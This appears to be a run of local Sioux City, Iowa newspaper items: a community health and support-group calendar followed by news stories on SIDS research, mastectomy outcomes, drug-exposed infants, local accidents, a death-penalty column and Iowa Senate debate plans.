Free blood pressure screenings, 9:30 to 11 a.m. Wednesdays at Countryside Senior Living, front lobby. No appointment necessary.

Free oral head and neck cancer screening from 6:30 to 8:30 p.m. April 20 at the June E. Nylen Cancer Center. Appointment required, call 712-279-2507 or email mercyeducation@mercyhealth.com

Free skin cancer screenings from 6:30 to 8 p.m. May 12 at June E. Nylen Cancer Center. Appointment required, call 712-279-2507 or email mercyeducation@mercyhealth.com

PROGRAMS/SELF-HELP GROUPS

Al-Anon Information Center, call 255-6724.

Al-Anon and Alateen, meetings locally. For times, dates and locations of area meetings, call 255-6724.

Alcoholics Anonymous, beginners information, call 252-1333.

Arc of Woodbury County, serving the mentally challenged, 5:15 p.m. meeting, second Monday of the month at Mid-Step Services, 4303 Stone Ave. For families and interested persons.

Child Care Resource and Referral, provides resources, education and advocacy for children, parents, and child care providers. Assists in child care needs. For more information, call 712-277-1180.

CoDa weekly meetings 9:30-10:30 a.m. Fridays in the meeting room at the South Sioux City Public Library, 2121 Dakota Ave.

Co-dependence Anonymous, 7 p.m. Mondays and Thursdays at First Lutheran Church, Fireside Room.

Co-Dependents Anonymous (CODA), 10 a.m. Saturdays at Hawkeye Club, 420 Jones St.

Compassionate Friends, 7 p.m. fourth Wednesday of each month (third Thursday in November and second Sunday December) in Mercy Medical Center's Leiter Room. For families who have lost children. Contact Nancy Webb 712-212-4032 or Don Mulder 712-541-5512.

Children of Divorce, to help children cope with the challenges of parental separation or divorce. Call 712-279-2373 for more information.

CLINICS

Siouxland District Health immunization clinics, call for appointment, 712-279-6119 or 1-800-587-3005.

INFORMATION

Family and Addictive Illness series, for more information, call 234-2300.

Iowa Fathers, 6 to 8 p.m. fourth Tuesday of each month at Hope Lutheran Church, Education Building, 218 W. 18th St., South Sioux City, Neb. Support group to help single, divorcing and divorced parents residing in the state of Iowa.

Mercy Pathways Outpatient Program, 10 a.m. to 5 p.m. Mondays, Wednesdays and Fridays, on the third floor, Mercy's Central Medical Building, 801 Fifth St., Suite 360. Provides hope, help, opportunity to connect through group therapy for individuals experiencing personal, relationship, psychiatric issues. For more information, call 712-279-5991.

Narcotics Anonymous, meetings daily, various times, dates and locations. For more information, call 712-279-0733.

Overeaters Anonymous, 7 p.m. Mondays at Floyd Valley Hospital, Lower Level, 714 Lincoln St. NE, Le Mars, Iowa; 1 p.m. Tuesdays at Wesley United Methodist Church, 3700 Indian Hills Drive; 6 p.m. Tuesdays at St. John's Lutheran Church, 402 Lane Ave., Storm Lake; 7 p.m. Tuesdays at Church of the Nazarene, 226 N. Main St., Viborg, S.D.; 5:30 p.m. Thursdays and 9 a.m. Saturdays at Newman Center, 320 E. Cherry St., Vermillion, S.D.; 10:30 a.m. Saturdays at Hawkeye Club, 420 Jones St. A 12-step recovery program for people who have problems with food and weight. No fees.

St. Lukes Outpatient Behavioral Health Program, 9 a.m. to noon Monday, Tuesday and Thursday on fifth floor of St. Luke's, located at 2720 Stone Park Blvd. Offers several levels of outpatient care including partial hospitalization, intensive outpatient, and group therapy. This program provides support and integrated treatment to individuals experiencing personal or relationship issues as a result of their mental illness. For more information and admission criteria, call 712-279-3906.

Sobriety By Faith, 8:30 a.m. Saturdays at Mt. Zion Missionary Baptist Church, 1421 Geneva St. For more information, call James Mothershead at 712-577-9715.

The Link-Recovery and Freedom, at PMA Building, 6000 Gordon Drive; 9:30 to 10:30 a.m. Saturday workshop, and Christian 12-step meeting 7 to 8 p.m. Tuesday. For all ages. Call Dee at 389-7432.

Tarahouse Meditation Center, 8 a.m. Mondays through Thursdays; 6:30 p.m. Fridays; 10 a.m. Saturdays and Sundays, all at 3112 Rebecca St. Three easy 10-minute sessions in small group; beginners welcome. For more information, call 490-6410.

Blood pressure and blood sugar screening, 9 to 11 a.m. Wednesdays in the lobby at Westwood Nursing and Rehabilitation Center. Free to public.

SUPPORT GROUPS

Alzheimer's Association, free presentation "Understanding and Responding to Dementia-Related Behavior" from 10:30 a.m.- noon April 27 at WITCC, Advanced Science Blg. Rm. L416/417. Register by calling 712-274-6406.

NAMI Siouxland (National Alliance on Mental Illness), 6:30 p.m., second Tuesday of the month, Friendship House, 1101 Court St. For individuals and family members dealing with mental illness. 712-255-4209.

Food Addicts in Recovery Anonymous, 7-8:30 p.m. Wednesdays at Hawkeye Club basement, 420 Jones St. For more information, call 277-5935.

Celebrate Recovery, Bible-based 12-step recovery group. Thursdays at 6:30 at Sunnybrook Community Church, 5601 Sunnybrook Drive. Daycare provided. 712-490-3343.

PFLAG of Siouxland, (Parents & Friends of Lesbians and Gays), 7 p.m., fourth Monday of January, March, May, July, September and November. St. Mark ELCA Church, 5200 Glenn Ave., in the upstairs meeting area. 712-258-3116.

Singles widowed and divorced, all ages, 4 p.m., Sundays. McDonald's at Sixth Street and Lewis Boulevard. 712-252-2675.

HIV/AIDS Support Group, meets weekly. For more information, call Darla or Teri at Siouxland Community Health Center, 712-252-2477 or 888-371-1965.

La Leche League of Siouxland, breastfeeding support group meets every third Thursday at 11 a.m. at Morningside Lutheran Church. Children are welcome. For more information, call Mary at 712-546-7280 or Jacquie at 712-255-2998.

Living Each Day Cancer Support Group, 7-8 p.m. second Thursday of the month, Floyd Valley Hospital, Conference Center Room 2, Le Mars, Iowa. Open to all cancer patients, cancer survivors and family members. No charge. Pre-register by calling 712-546-3441 or 800-642-6074, ext. 441.

Mom and Baby Support Group, 10-11 a.m. last Monday of the month at the Orange City (Iowa) Hospital, lower level. For new moms and babies. 712-737-5260.

Tri-State Sober Project, 12-step meeting, 7:30-8:30 p.m., Tuesdays, Friendship Community Church, 305 Sergeant Square Drive, Sergeant Bluff. 6-7 p.m., Thursdays, Transitional Services of Iowa, 1221 Pierce St., Sioux City.

Doug's Donors Support Group, information for organ donors and recipients, 12:30-1:30 p.m. Wednesdays, 5:15-6:30 p.m. second and fourth Thursdays of the month at Mercy Cafeteria Woodbury Room. 712-277-1050.

Divorce Care, noon Sundays starting Jan. 10; GriefShare, 6:30 p.m. Tuesdays starting Jan. 12; Single & Parenting, 6:30 p.m. Thursdays starting Jan. 14; all at Sunnybrook Community Church, 5601 Sunnybrook Drive, Sioux City. 712-276-5814.

Multiple Sclerosis Support Group, 1:30-3:30 p.m. first Saturday of the month at the CNOS, Dakota Dunes. For anyone with MS and/or their families. Call Janet Limoges at 605-217-2726 prior to attending.

New Life Life Support Group, 3:30 p.m. every Saturday at 2929 W. Fourth St. Spiritual 12-step program. For more information, call Donald at 712-574-1744 or James at 712-255-7624.

Post Polio Support Group, 11 a.m. first Thursday of the month at Perkins Restaurant by Menards. 712-490-8213.

Relationship Support Group, 7 p.m. Fridays at Marketplace Mall. For more information, call 239-3129.

Sexual Assault and Domestic Violence, Individual and Support Groups. For more information, call CSADV in Sioux City at 712-258-7233; Plymouth County at 712-546-6764; Monona County at 712-423-3443. Advocacy and support available 24 hours a day at 1-800-982-7233. All services free of charge and confidential.

Sickle Cell Disease Support Group, 11 a.m. third Saturday of each month at St. Luke's Hospital, meeting room 1. For patients, their family and any concerned member. Call La'Keshia Rainey at 712-203-2019 for more information.

Sioux City Association of the Deaf, 7 p.m. third Saturday of the month at Morningside Church of Christ, 5015 Garretson Ave. Regular meeting, September-May; no meeting, June, July, August and December.

Siouxland Autism Support Group, second Thursday of the month at Northwest Area Education Agency, 1520 Morningside Ave. For more information, call Julie Case at 712-490-8939.

Siouxland Epilepsy Support Group, 5 p.m. third Tuesday of the month at Prestwick Apartment Clubhouse, 4230 Hickory Lane. For anyone diagnosed with seizures or epilepsy and family or friends. For more information, call Steve at 274-6927.

Siouxland IC support group, meets quarterly in Sioux City. For patients struggling with interstital cystitis. For more information, call Jacque Dundas 316-641-9766.

Siouxland Informational Group for the Blind, 2-5 p.m. second Tuesday of the month at Northern Hills Retirement Community, 4002 Teton Trace. For more information, call 712-266-8926 or 258-8151.

Grief support group, 5:30-7:30 p.m., beginning Oct. 5 for 13 weeks (may join at any time), Crescent Park United Methodist Church, 2826 Myrtle St., Sioux City. Scott, 712-899-6315.

Siouxland Ostomy Association, 2 p.m. first Sunday of each month (except September, which will be second Sunday; and no meetings June, July, August), in Room 300 at Mercy Medical Center, 801 Fifth St. For more information, call Dick Lindblom at 251-2453.

Siouxland Parkinson Disease Support Group, 1 p.m. fourth Monday of the month at Siouxland Center for Active Generations, 313 Cook St. For more information, call at Jack Scherrman at 712-277-9337.

Sojourners, support group for families of persons with life-threatening illness, 7:30 p.m. Tuesdays at St. Luke's Regional Medical Center, Room 416. For more information, call Marjorie Jarvill at 402-241-8637.

South Sioux City Weight Support Group, 8:30 a.m. Wednesdays at St. Paul United Methodist Church, South Sioux City. For more information, call 494-1401 or 494-2133.

Support groups at Disabilities Resource Center of Siouxland, 520 Nebraska St., Suite 101: Women's Support Group, 1:30 p.m. first Wednesday of the month; LGBT Support Group, 1:30 p.m. first Friday of the month; Adult ADHD, 6 p.m. second Tuesday of the month; Advocacy Group, 1:30 p.m. third Tuesday of the month. For more information, call (712) 255-1065.

Take Off Pounds Sensibly, group meetings various times, days and locations in Siouxland. For information on the chapter in your area, call 1-800-932-TOPS.

Voice Disorder Support Group, meets as needed at Mercy Medical Center, Buena Vista Room. 712-279-2686.

Women's Peer Support Group, in Wayne and South Sioux City, Neb., for those who have experienced domestic abuse. For more information, call the Wayne office at 402-375-4633 or 1-800-440-4633; in South Sioux City, call 402-494-7592. Help and support available 24 hours a day, seven days a week. Services free and confidential.

Woodbury County D.M.D.A., noon-2 p.m. first Saturday of the month at Country Friendship Acres, 4501 West St.; 7-8 p.m. first Tuesday of the month at 515 Court St. in the Community Room; 7-8 p.m. second Tuesday of the month at 441 W. Third St. in the Community Room; 7-8 p.m. third Tuesday of the month at 409 W. Third St. in the Community Room. Support group for people with disabilities and mental disorders.

Natural Mamas in Siouxland, 1 p.m., third Tuesday of each month in the Garretson room of the Morningside Public Library. All ages of children are welcome to come with moms. For sharing natural living tips, recipes, natural remedies and health, homemaking, mothering, etc. For more information, call 402-913-0038 or visit their Facebook page.

A Step Beyond support group, 3:30 p.m. second Tuesday of the month, except for August, November and December when it meets at 5:30 p.m. (no meeting in January) at the Christy-Smith Resource Center, 1819 Morningside Ave. For more information, call 712-276-7319.

Divorce care, 5 p.m., Sundays. Fireside room, Morningside Lutheran Church, 700 South Martha St.

Gamblers Anonymous meetings, 4 p.m. Thursday at Immanuel Lutheran Church, 315 Hamilton Blvd.; 7 p.m. Wednesday, Morningside Presbyterian Church, 4327 Morningside Ave.; 7 p.m. Tuesdays, St. John Lutheran Church. 712-277-2901.

Art therapy support group, 5:30 p.m. second Thursday of the month at the June E. Nylen Cancer Center. Registration required, call 252-9387.

After Breast Cancer Support Group, 5:30 p.m. third Tuesday of the month at the June E. Nylen Cancer Center. For more information, call Brenda, 252-9370.

After Prostate Cancer Support Group, 5:15 p.m. first Tuesday of the month at the June E. Nylen Cancer Center. For more information, call 252-9426.

Alzheimer's Association Big Sioux Chapter Support Group, 2 p.m. second Tuesday of the month; 4 p.m. third Tuesday of the month (under age 65) at 201 Pierce St., Suite 110 (Famous Dave's building); and 6 p.m. first Tuesday of the month at the Barnes and Noble Cafe. For more information, call Emily Lord at 712-279-5802.

Christy-Smith Funeral Homes of Sioux City, extensive grief library at the Morningside location. Open to the public during weekday hours. For more information, call 276-7319.

Chronic Pain/Chronic Illness Support Group, 7:30 p.m. fourth Wednesday of the month in the lower level of the Orange City Hospital. For more information, call 712-737-5260.

Connections Area Agency on Aging, and Mercy Medical Centers Older Adult Services Welcome to Medicare, 1:30-4 p.m., the first Friday of every month at Connections Area Agency on Aging, 2301 Pierce Street. To pre-register, or for more information, contact Connections Area Agency on Aging at 712-279-6900.
SEATTLE | The heartbreak of Sudden Infant Death Syndrome (SIDS) is being turned into hope, as parents who have lost babies to the medical mystery are helping to fund a new research study to be launched by a Seattle doctor who hopes he is close to a cure.

Dr. Daniel Rubens, an anesthesiologist at Seattle Childrens hospital, has partnered with The Lullaby Trust in the United Kingdom and pediatrician Dr. Peter Fleming of Bristol University to conduct the Oto-Acoustics Signals in SIDS, or OASIS study. The two-year study will launch in May.

The hypothesis: That an inner-ear defect puts babies at risk of SIDS, since it dulls the impulse for a baby to automatically rouse and reposition itself when it is having trouble breathing. That lack of oxygen, Rubens believes, causes a buildup of carbon dioxide in the body, and the baby suffocates.

Its difficult because nobody really knows what this baby is doing 10 minutes before he or she dies, Rubens said. Its like a car crash.

Partnering with researchers in the U.K. will give Rubens access to data from the standardized hearing test administered to all babies born there. That data will be compared to death records from babies who have been classified as having died from SIDS.

Were going to see what the difference is between these babies and those who dont have a SIDS problem, Rubens said.

The United States doesnt have a standardized hearing test for babies; practices vary state to state.

The OASIS study is being funded, in part, by money that poured into Rubens SIDS Research Guild after a column about him last year received international attention. Much of it was from parents who had lost children. He also received support from the Fred H. and Mary S. Dore Charitable Foundation, formed by the well-known political couple who lost a daughter to SIDS.

SIDS is the leading cause of death in infants 1 to 12 months old, and about 2,000 babies born in the United States die each year from SIDS, according to the National Center for Health Statistics.

It totally motivates me, Rubens said, when youre talking to a parent on the phone and they tell you what theyre going through, and they really want to help.

They really want an answer, and it sparks them to become strong supporters now.

Rubens, 53, has been researching SIDS since 2007. His work is fueled, in part, by his love for his daughter, Hannah, 17, a student at Ballard High School, and by his work putting babies under anesthesia.

I am very drawn to this, he said. I look after babies when they are asleep and when I hear about a SIDS death, I wonder, 'Why did that happen?

I feel a very strong pull to understand, to really get it, to figure out what is happening to these babies, to do the research and demonstrate that this is correct so we can do something about it.

Its slow steps, he said. And part of me gets very impatient.

Rubens and Fleming are partnering to review the death records of babies who have been classified as having died of SIDS and compare them with newborn hearing tests of control babies born during the course of the study.

Rubens will also partner with Dr. Marta Cohen, a pediatric pathologist at Sheffield Childrens hospital in the U.K. to review CT and MRI imaging of the inner ears of infants who die unexpectedly.

And at the Seattle Childrens Research Institute, Rubens will continue his work with Dr. Nino Ramirez to study inner-ear and vestibular system dysfunction in animal models.

The goal of the study is to develop a standardized hearing test for infants born in the United States that would identify babies at high risk for SIDS.

This is tricky, Rubens said of developing a test, so we need to do it properly and slowly and carefully.

Youve got to doggedly stick with it, carefully, and it will come in time.
DALLAS | Protective mastectomies that preserve the nipple and surrounding skin prevent breast cancer as effectively as more invasive surgeries for women with a genetic mutation called BRCA that raises their risk of developing breast cancer, a multi-institution study led by Mayo Clinic found.

The research should reassure patients and surgeons that nipple-sparing mastectomies, which leave women with more natural-looking breasts than other mastectomies, are a safe way to reduce breast cancer risk in BRCA carriers, the authors say. The findings were presented at the annual meeting of the American Society of Breast Surgeons in Dallas.

Nipple-sparing mastectomy is gaining wide acceptance because of its superior cosmetic results, but pockets of the medical community remain skeptical that it is the right choice for the BRCA population, says study lead author James Jakub, M.D., a breast surgeon at Mayo Clinic in Rochester, Minnesota.

This is the largest study of its kind to address the controversy, and to show that nipple-sparing mastectomy is as effective at preventing breast cancer as traditional mastectomy.

To determine the incidence of breast cancer in BCRA-positive women who had prophylactic nipple-sparing mastectomies, researchers studied outcomes among 348 patients who collectively had 551 mastectomies performed at nine institutions between 1968 and 2013.

The study included 203 women who had both breasts removed protectively, known as a bilateral mastectomy, and 145 patients who had one breast removed preventively after cancer occurred in the other breast.

None of the patients who had a bilateral nipple-sparing mastectomy developed breast cancer at any site after an average of three to five years of follow-up, the researchers found.

No breast cancers developed in the retained skin, nipples, or lymph nodes on the side of the prophylactic procedure. Seven women died from breast cancer during follow-up; in all of those cases the patients had a previous or concurrent breast cancer at the time of surgery and their stage IV disease was attributed to that cancer.

Mastectomies have changed dramatically over the years. The radical mastectomy of the 1950s, '60s, and '70s removed the breast tissue, skin, lymph nodes and underlying muscle.

By the 1980s, that procedure largely gave way to the modified radical mastectomy, which left the chest muscles alone. Next came skin-sparing mastectomies, which preserve an envelope of skin and allow surgeons to begin breast reconstruction during the mastectomy surgery.

Nipple-sparing mastectomies leave the nipple, areola and breast skin intact. Their use is increasing and has gained acceptance as a safe option in breast cancer patients.
SIOUX CITY | Cindy Running said sometimes it takes drug dependent babies hours to get comfortable.

These infants suffer withdrawal symptoms that include high-pitched crying, seizures, diarrhea and trouble sucking and swallowing.

"Most babies you pick up and swaddle and they just look at you and they're perfectly happy," said Running, a clinical practice expert, who works in UnityPoint Heath-St. Luke's neonatal intensive care unit. "Sometimes no matter what you do, they cry for a long time."

The number of babies born exposed to drugs in Woodbury County has more than doubled from 2014 to 2015, according to data from Siouxland CARES, a community coalition whose mission is to improve the quality of life in Siouxland by eliminating the abuse of alcohol and other drugs.

Sioux City hospitals tallied 86 infant drug exposures in 2015, up from 42 the year before. The number of exposures in Woodbury County has been on the rise since 2013. Hospitals test mothers and babies when risk factors are present, including maternal history of illegal drug use, no prenatal care or prenatal care that is late or inconsistent.

In 2015, 52 tests confirmed the presence of marijuana, while 20 detected amphetamine and seven the presence of opiates. Four tests were positive for marijuana and amphetamine and one detected methadone. The other two positive tests involved combinations of cannabinoids, methamphetamine, opiates and amphetamine.

"It's exploded, primarily due to marijuana," Siouxland CARES executive director Linda Phillips said of the increase. "People are addicted to either marijuana or other drugs. It's attitudes that if states are legalizing (marijuana), it must be OK."

Heroin abuse has surged in eastern Iowa. Phillips said it's only a matter of time before the epidemic hits Siouxland, that's why she said Siouxland CARES is launching a campaign to raise awareness of the dangers associated with prenatal drug exposure.

"'Why would a woman do this?' Because they're addicted,'" she said. "We need to help them and help their babies."

Nathan Gollehon, a pediatrician at Children's Hospital & Medical Center in Omaha, said neonatal abstinence syndrome (NAS) -- withdrawal after exposure to certain drugs in the womb -- isn't always the result of illicit drug use. Gollehon, who will speak about drug dependent babies May 11 at St. Luke's annual Perinatal Conference, said opioids are causing the majority of cases of NAS nationally.

Prescription painkillers such as morphine, methadone, hydrocodone and oxycodone are opioids, as is the illegal drug heroin.

"A lot of times it's not something the mom was doing wrong. She was prescribed a pain medication because she had kidney stones or for some other reason," Gollehon said. "She wasn't doing this intending harm to her baby."

Physicians with pregnant patients need to be aware of the effects prescription opioid medications can have on a developing fetus, he said. If there are alternative drugs that are safe for the mother and are less likely to harm the baby, he said those medications should be considered first.

The estimated total number of opioid analgesic prescriptions in the United States increased by 104 percent, from 43.8 million in 2000 to 89.2 million in 2010, according to a study published in Regional Anesthesia and Pain Medicine in January 2014.

NAS financially burdens the health care system. Gollehon said the average baby diagnosed with NAS is hospitalized for more than two weeks. Babies needing medications such as morphine and methadone, which are commonly used to treat opioid dependence, spend 22 or 23 days in the hospital racking up $90,000 in costs on average.

"About 80 percent of the costs are being covered by Medicaid, so it's not just the cost for the hospital or the families. It's a cost that all of us are paying, too," he said.

If a drug dependent baby's withdrawal symptoms aren't severe, Gollehon said environmental treatments can offer relief. These babies can find comfort in a room that is dark and quiet. They can be calmed with swaddling.

"There's a good chunk of babies that will respond to those sorts of things and not even need medications," he said. "They may end up needing to stay in the hospital longer than a typical baby, but sometimes those simple things are enough to get them through."

Phillips said she is concerned about babies leaving the hospital and going home to a household were drugs are being used. She said women sometimes stop using drugs before they go to the hospital to deliver, especially if they have a C-section scheduled. If a mother stops using drugs before giving birth, Phillips said the drugs might not be detectable in her or her baby's system.

Running said withdrawal symptoms could hit the baby immediately after delivery or three or four days later. She said you never know how severe the withdrawal symptoms might be.

"I've been doing this for 26 years and I've seen babies in the hospital for two or three months just to come off of their withdrawals, especially if they've been exposed to it throughout the whole pregnancy," she said.

"Are we going to see it with one hit of marijuana? Probably not. But with that prolonged exposure it really does create problems."
SIOUX CITY | Sioux City Fire Rescue will be monitoring a Morningside house through the night after extinguishing a fire in the home's attic Thursday evening.

Sioux City Fire Rescue, Sioux City Police Department and Siouxland Paramedics responded to 1000 S. Newton St. about 8:30 p.m. Thursday for a call of a structure fire.

Assistant Fire Chief Robert Wilson said the occupants, two adults, two children and their pet dog, had just arrived home when they discovered the fire. All escaped with no injuries.

Upon arrival, firefighters were met with heavy smoke and flames coming from the attic of the house. Wilson said the source of the fire had been traced to the attic, but crews had a difficult time locating the fire due to the extensive smoke and the attic's layout.

"We had so much smoke up high, we had a difficult time seeing what was going on," Wilson said, "so we cut a ventilation hole, which doesnt happen that often."

Crews worked for more than an hour to locate and extinguish the flames. Just after 9:30, trucks began to leave the scene.

The cause of the fire remains under investigation. Wilson said the house will be red-tagged. He said family did have a place to stay through the night.
ROCK VALLEY, Iowa | For 32 years, Mike Maassen has fixed things in the Rock Valley Community School District. On his 59th birthday, the maintenance man is the one receiving tender-loving-care.

Maassen enters the school via motorized cart on Thursday. This is how he gets around as a broken left leg heals.

"I stepped wrong and it broke," he says. "Doctors said it was probably due to the multiple myeloma, which has attacked and made my bones brittle."

Maassen learns he has this kind of cancer during January, not long after he injures both rotator cuffs while lifting a dumpster at the school.

"I thought the injury would heal, but it didn't," says Maassen, a 1976 Rock Valley High School graduate. "I got an MRI and it showed some abnormalities."

That led to a blood test, which led to a cancer diagnosis. Maassen headed to a hospital in Sioux Falls as his kidneys were starting to shut down. He was there six days, time enough to get his kidney function back as doctors confirmed the cancer and began chemotherapy.

"I take 35 pills each Monday, most of them for chemotherapy," he says.

On May 31, Maassen heads to the Mayo Clinic in Rochester, Minnesota, for the start of a six-week stem cell transplant effort.

"They'll take my stem cells out, enough for three transfusions, in case the first one or two don't work," he says.

He attributes this bad break to being "dumb luck." And just as fast, Maassen, the fix-it man, says he's lucky. He can serve as his own donor. That's not always the case.

And that leads folks in the Rock Valley schools to make Maassen's bad break a teachable moment. Not only do they fete their maintenance marvel on his birthday, they hold a bake sale to ease pressure on the family's bottom line. The school also sets up a table for folks to register as a donor through the Iowa Marrow Donor Program.

Charles Cummings stops to register. Cummings, a Rock Valley resident for just over one year, barely knows Mike Maassen. That doesn't stop him from taking the time to register in hopes he can help someone else.

Cummings says it's also one way he can show his support for the people of this school district, friends and strangers who continue to surround his family with love as his wife, Heather Cummings, 36, battles brain cancer. Charles and Heather have four children, ages 17 to 4.

"With God's grace here at Rock Valley, they've showed us so much love, humanity and compassion," Cummings says. "I can give something back, it turns out. If I can help someone in this world by being a donor, then so be it."

Cummings is one of several people who register with the Iowa Marrow Donor Program during a birthday party for the guy who performs routine maintenance around here.

"Stay strong," Cummings advises Maassen.

Maassen nods as elementary students sweep the floor in the lunchroom, helping make up for the absence of their maintenance man, the guy they surprise by launching into a "Happy Birthday" chorus as he enters the school. He smiles and trades high-fives and hugs with dozens of children while catching up with fellow staff members.

"We've been told this cancer isn't curable, but it can be managed," Maassen says. "I met a lady at church who did this same stem cell treatment 22 years ago. That gives me reason for optimism."

Researchers and doctors work tirelessly to fix such dilemmas. They can't do it without the donors and patients who give of themselves.

Sometimes, the chain of events and the cast of characters turn birthday wishes into birthday realities.
Were looking for local musicians who want to showcase their sound as part of the On Iowa Politics podcast. We mostly talk politics, but were interested in a lot more, especially music, and have carved out some time to feature the best Iowa has to offer. Solo act or band, orchestra or troupe, rock, hip-hop, bebop, country, jazz, techno or something that doesnt yet have a name, we want to hear it.

Send a sound file to the podcast oniowapolitics@gmail.com with your name (or group name).
SIOUX CITY | The inaugural meeting of 100+ Women Who Care chapter in Siouxland chose the Pier Center for Autism as its first donation recipient Tuesday.

The meeting, at the Holiday Inn on Gordon Drive was attended by more than 60 Siouxland women, with close to 90 total registered members donating $8,700 to the center.

Members at Tuesdays meeting took the opportunity to nominate a 501(c)3 nonprofit organization for the groups quarterly gift.

Members wrote $100 checks to the Pier Center, which provides services and therapy for individuals with autism spectrum disorders.

All women who live or work in Siouxland are encouraged to join the 100+ Women Who Care Siouxland chapter.

The next meeting is scheduled for July 19 at Briar Cliff University. Members are asked to commit to giving $400 in local donations annually, $100 per quarterly meeting.
SERGEANT BLUFF, Iowa | One person was taken to Mercy Medical Center - Sioux City following a three-car crash near a construction zone on Interstate 29 Thursday evening.

Trooper Chad Schweitzberger with Iowa State Patrol said that around 5:45 p.m. Thursday, a pickup heading northbound on I-29 was entering a one-lane construction zone near the Sergeant Bluff exit when it rear-ended a minivan, causing it to come to rest on the left side of the road. The truck then struck another pickup.

Schweitzberger said one of the three occupants of the minivan suffered minor injuries, and another was transported to Mercy Medical Center - Sioux City. Neither occupant in the second pickup was injured.

Schweitzberger said the driver of the pickup truck was cited with failure to stop within assured clear distance.

No names have been released.

Iowa State Patrol was assisted by Woodbury County Sheriff's Office, Sergeant Bluff Police Department and Sergeant Bluff Fire and Rescue.
According to court documents, for more than seven years beginning in January 2009, Chamberlain, a former worker at W.A. Klinger, took a motor vehicle, skid loader and other equipment without permission and kept them at his home. He is also accused of charging more than $10,000 in personal purchases on company credit cards.
SIOUX CITY | Earth Day is synonymous with the phrase, reduce, reuse, recycle, but Sioux City Schools elementary students learned that theres much more to conservation.

The district and Western Iowa Tech Community College on Thursday teamed up to bring the Earth Day KidWind Festival to fourth- and fifth-graders.

The event allowed more than 700 students over a two-day span the opportunity to see how wind turbines work, tour WITs green facility at the Dr. Robert E. Dunker Student Center, study fuel efficiency and even record commercials about the importance of Earth Day.

Half of the students participated Thursday, and the rest will attend the event Friday.

Students said they knew the concept of Earth Day, but never really understood the impact poor environmental practices have on the planet.

We learned that a lot of people throw garbage in the water and use way too much water, said Clark Elementary fifth-grader Lauren Clark. I didnt know we used that much.

April Tidwell, Science, Technology, Engineering and Math (STEM) coordinator for the district, said the event was designed to incorporate the importance of Earth Day with 21st Century Learning standards.

This offers an opportunity to get a hands-on experience and teach them to save the Earth for themselves as they grow up ... and to be responsible for the Earth that they live on, Tidwell said.

One of the main attractions at the festival was the KidWind competition, which challenged students to work in groups and create an efficient wind turbine model out of cardboard. The students worked on their models in class, and were able to test their final project in a controlled wind tunnel Thursday.

Winners from the contest could then become eligible to compete at the KidWind competition at the Mid American Museum of Aviation and Transportation in May.

Clark fourth-grader Ethan Dallen said while the contest was fun, it showed him that the large white turbines in rural Iowa do more than take up space.

It showed me how energy works and how its created from the wind, he said. It pulls the wind, comes through the tubes and makes electricity. That was pretty new to me.

Jayda Johnson, a fifth-grade student from Clark, said she too learned the importance of wind energy to Iowans.

I didnt know they produced electricity to peoples houses, she said.

Tidwell said building awareness to Iowas prowess as a wind energy harvester is key for young students, as they  or their younger generations  may very well grow up in a world with limited non-renewable energy sources.

Iowa is one of the best places in the nation to harvest wind energy and we want to make sure we are raising educated students about the benefits of renewable energy versus the non-renewables that may not be here for their children and grandchildren, she said.

After Thursdays lessons, some students said they would take more conscious steps to help preserve resources and save energy.

Ill stop trying to use a lot of water, said Clark fifth-grader Grace Emory. Ill turn the faucet off and if Im doing the dishes, Ill try to go as fast as I can.

But some also plan to take what theyve learned and educate family and friends.

Ill tell my brother not to take an hour shower, chimed Lauren Clark.
Today is a day of reckoning for Duane Buck.

That's the day the Supreme Court will determine whether to hear his appeal for a new sentencing hearing. Buck is on Death Row in Texas.

It is important to emphasize that he is not seeking a new trial. There's no question of Buck's guilt in the 1995 shooting deaths of his ex-girlfriend, Debra Gardner, her friend, Kenneth Butler, and Buck's stepsister, Phyllis Taylor. No, all he's asking is to be re-sentenced for the crime.

There is, you see, a law in Texas that says you can't be sentenced to death unless a jury finds that you represent a future danger, i.e., that you are likely to hurt someone else if left alive. In Buck's case, psychologist Walter Quijano, a supposed expert testifying for the defense, no less, told jurors Buck represented just such a danger.

Because he is black.

If any of this rings a bell, it's because I wrote about the case three years ago. If you read that column, you may recall that one of the researchers on whose writings Quijano based his testimony says his work supports no such conclusion. Indeed, Quijano's claim was so outrageous that even Buck's surviving victim and one of his prosecutors think he should get a new hearing. In 2000, Sen. John Cornyn, who was then Texas' attorney general, conceded the state was wrong in allowing race to be used as a factor in sentencing.

Quijano had given similar testimony in six cases. The other five defendants, all black or Hispanic, got new hearings. Buck was denied, based on a flimsy legalism, namely that the offending testimony came not on "cross," but on direct examination. In other words, it was first elicited by the defense.

People keep telling me I'm wrong to believe the justice system is riddled with racial bias. They tell me the system has nothing against people of color, and that it is only evidence of their own native criminality that such people are stopped, frisked, arrested, tried and incarcerated in wildly disproportionate numbers. People keep promising me the system is just.

And I keep being sickened by stories like this. I keep finding studies like the 2012 report by University of Maryland criminology professor Raymond Paternoster, which said that at the time of Buck's sentencing, the local DA was three times more likely to seek death for a black defendant than for a white one.

It's worth noting, by the way, that these predictions of future dangerousness are not exactly unerring. Texas Defender Services, a nonprofit law firm specializing in capital cases, studied the records of 155 Death Row inmates and found that only 5 percent went on to commit assaults serious enough to warrant more than a Band-Aid. In a place where you can get written up for saving a seat in the cafeteria or having too many postage stamps, Buck has a clean disciplinary record dating back to 1998.

So Quijano's testimony was not only racist, but also -- pardon the redundancy -- wrong.

Look, I don't like the death penalty. If you know me, you already know that. But even if I did, I would want to be sure this severest of sanctions was imposed fairly. Plainly, it is not.

And the fact that it is not cannot help but undermine the credibility of the entire system. If we countenance bias at this extremity, what confidence can anyone have in the system's fairness at any level, down to and including parking tickets?

The racism here is not subtle. To the contrary, it is neon. To deny Buck a new sentencing hearing untainted by bizarre suppositions about the future danger he poses because of his skin color would shred even the pretense of equality before the law. So let us hope the Court does what it should.

Because, yes, today is a day of reckoning for Duane Buck. But it's a day of reckoning for justice, too.
If Republicans wanted to nominate a Supreme Court justice in 2016, they should have won the presidential election in 2012. President Obama has done his part as required by the U.S. Constitution. It's time for Charles Grassley to stop obstructing the process, step up and do his job, or step aside.
DES MOINES | Plans have solidified for a series of forums and debates, including at least one broadcast on live television, featuring the four Democratic candidates running for Iowas U.S. Senate seat.

Former state ag secretary and lieutenant governor Patty Judge, current state legislator Rob Hogg, and former state legislators Tom Fiegen and Bob Krause are running to earn the Democratic nomination to challenge longtime incumbent Chuck Grassley this fall.

At least one televised debate and four forums have been scheduled ahead of the June 7 primary election, the Des Moines Bureau has confirmed.

Iowa Public Television will host a debate to be televised live on Thursday, May 7, from the networks studio in Johnston. The station expects all four candidates to participate.

